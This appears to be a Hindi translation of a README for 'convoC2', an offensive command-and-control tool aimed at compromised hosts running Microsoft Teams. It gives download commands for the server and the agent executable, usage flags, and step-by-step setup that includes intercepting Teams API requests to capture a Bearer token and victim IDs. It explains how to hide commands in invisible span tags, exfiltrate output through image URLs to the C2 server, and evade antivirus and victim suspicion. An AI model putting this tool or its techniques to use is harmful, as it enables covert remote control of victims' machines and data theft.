
Microsoft Teams पर C2 अवसंरचना।
ऐसी Command and Control अवसंरचना जो Red Teamers को Microsoft Teams के माध्यम से समझौता किए गए होस्ट्स पर सिस्टम कमांड निष्पादित करने की अनुमति देती है।
यह Microsoft Teams संदेशों में छिपे हुए span टैग्स में डेटा घुसाती है और Adaptive Cards इमेज URL में कमांड आउटपुट को exfiltrate करती है, जिससे C2 सर्वर पर out-of-bound अनुरोध ट्रिगर होते हैं।
पीड़ित और हमलावर के बीच सीधे संचार की अनुपस्थिति, तथा इस तथ्य के साथ कि पीड़ित केवल Microsoft सर्वरों को http अनुरोध भेजता है और एंटीवायरस MS Teams लॉग फ़ाइलों में नहीं देखते, पहचान करना अधिक कठिन बना देता है।

निम्नलिखित वीडियो दो समझौता किए गए होस्ट्स को नियंत्रित करने के लिए सर्वर के उपयोग को प्रदर्शित करता है: एक Windows 11 पर नया Teams चला रहा है और दूसरा Windows 10 पर पुराना Teams चला रहा है। पहले मामले में, हमलावर पीड़ित के समान org में नहीं है।
https://github.com/user-attachments/assets/d9fcccc1-de73-49cd-aaa7-df53303dbc6a
नोट: पहले मामले में पीड़ित ने पहले ही बाहरी हमलावर के साथ चैट स्वीकार कर ली है, लेकिन एक वास्तविक परिदृश्य में जहाँ हमलावर पहली बार पीड़ित के साथ चैट शुरू करता है, पीड़ित को हमलावर के साथ चैट की पुष्टि करनी होगी (हालाँकि इस अलर्ट संदेश को आसानी से बायपास किया जा सकता है, देखें यहाँ)। यह कोई समस्या नहीं है: क्योंकि संदेश किसी भी तरह लॉग फ़ाइल में कैश हो रहे हैं, कमांड प्राप्त और निष्पादित होते हैं भले ही पीड़ित ने अभी तक चैट देखी या स्वीकार नहीं की हो।
सर्वर
wget https://github.com/cxnturi0n/convoC2/releases/download/v0.1.0-alpha/convoC2_server_amd64.tar.gz
tar -xzvf convoC2_server_amd64.tar.gz --one-top-level
root@convoC2-server-VPS:~# ./convoC2_server_amd64 -h
Usage of convoC2 server:
-t, --msgTimeout How much to wait for command output (default 30 s)
-b, --bindIp Bind IP address (default 0.0.0.0)
एजेंट
wget https://github.com/cxnturi0n/convoC2/releases/download/v0.1.0-alpha/convoC2_agent.tar.gz
tar -xzvf convoC2_agent.tar.gz --one-top-level
C:\Windows>convoC2_agent.exe -h
Usage of convoC2 agent:
-v, --verbose Verbose logging (default false)
-s, --server C2 server URL (i.e. http://10.11.12.13/)
-t, --timeout Teams log file polling timeout [s] (default 1)
-w, --webhook Teams Webhook POST URL
-r, --regex Regex to match command (default "<span[^>]*aria-label=\"([^\"]*)\"[^>]*></span>")
इसे काम करवाने के लिए, आपको कुछ चीज़ें सेट अप करनी होंगी:

https://teams.microsoft.com/api/chatsvc/emea/v1/threads पर एक POST के साथ चैट आरंभ करता है, जिसके body में victim और attacker की अद्वितीय ids होती हैं। प्रतिक्रिया में, threadId Location header url के path में लौटाया जाएगा।
उसी अनुरोध का Bearer token https://teams.microsoft.com/api/chatsvc/emea/v1/users/ME/conversations/<threadId>/messages पर प्रमाणित करने के लिए उपयोग किया जाता है, जो संदेश भेजने का endpoint है। इसलिए हमें बस इन तीन चीज़ों को प्राप्त करना है और सर्वर बाकी सब संभाल लेगा।सर्वर शुरू करने के बाद आप पहले से प्राप्त प्रमाणीकरण डेटा का उपयोग करके नए agents प्राप्त कर सकते हैं और उन्हें नियंत्रित कर सकते हैं। उपयोग के उदाहरण के लिए डेमो देखें।
सबसे पहले, आपको एक Teams चैनल बनाना होगा।

तीन बिंदुओं पर राइट क्लिक करें, फिर "Workflows" पर क्लिक करें।

खोज बार में "Webhook" टाइप करें और "Post to a channel when a webhook request is received" पर क्लिक करें।

डिफ़ॉल्ट सेटिंग्स के साथ जारी रखें और अंत में url कॉपी करें।

victim की खोज करके शुरू करें।

victim खाते का चयन करने के बाद, web proxy द्वारा अनुरोधों को इंटरसेप्ट करते हुए, आप एक dummy संदेश भेज सकते हैं।

api/chatsvc/emea/v1/threads अनुरोध में मौजूद दोनों ids सहेजें और फिर अनुरोध को DROP करें। auth token उसी अनुरोध का Bearer token होगा।

यह अवसंरचना Bobbyrsec द्वारा किए गए Teams GIFShell अनुसंधान से प्रेरित थी।
शुरू में मेरा उद्देश्य इस समस्या को दोहराना था, लेकिन समाधान आंशिक रूप से ठीक किया गया प्रतीत हुआ। अनुसंधान में Base64-encoded GIFs में कमांड इंजेक्ट करना शामिल था, लेकिन ये अब सही ढंग से प्रदर्शित नहीं हो रहे थे: इसके बजाय चैट में एक corrupted image का आइकन दिखाई देता था, जिसके परिणामस्वरूप victim संभवतः संदेह करना शुरू कर सकता था।
विभिन्न विधियों का परीक्षण करने के बाद, मैंने देखा कि कमांड को GIFs या images के बजाय सीधे संदेशों में embed करना संभव था: कई images भेजने से सरल संदेश भेजने की तुलना में संदेह बढ़ने की संभावना अधिक होती है, है ना?
शुरू में मैंने <script>, <meta>, या कस्टम tags जैसे tags में कमांड embed करने पर विचार किया, लेकिन सभी फ़िल्टर कर दिए गए। अंततः, display:none वाले <span> tags के aria-label attribute में कमांड embed करना सफल रहा: victim को केवल संदेश दिखाई देगा, लेकिन छिपा हुआ कमांड वास्तव में Teams log फ़ाइल को दूषित कर देगा।
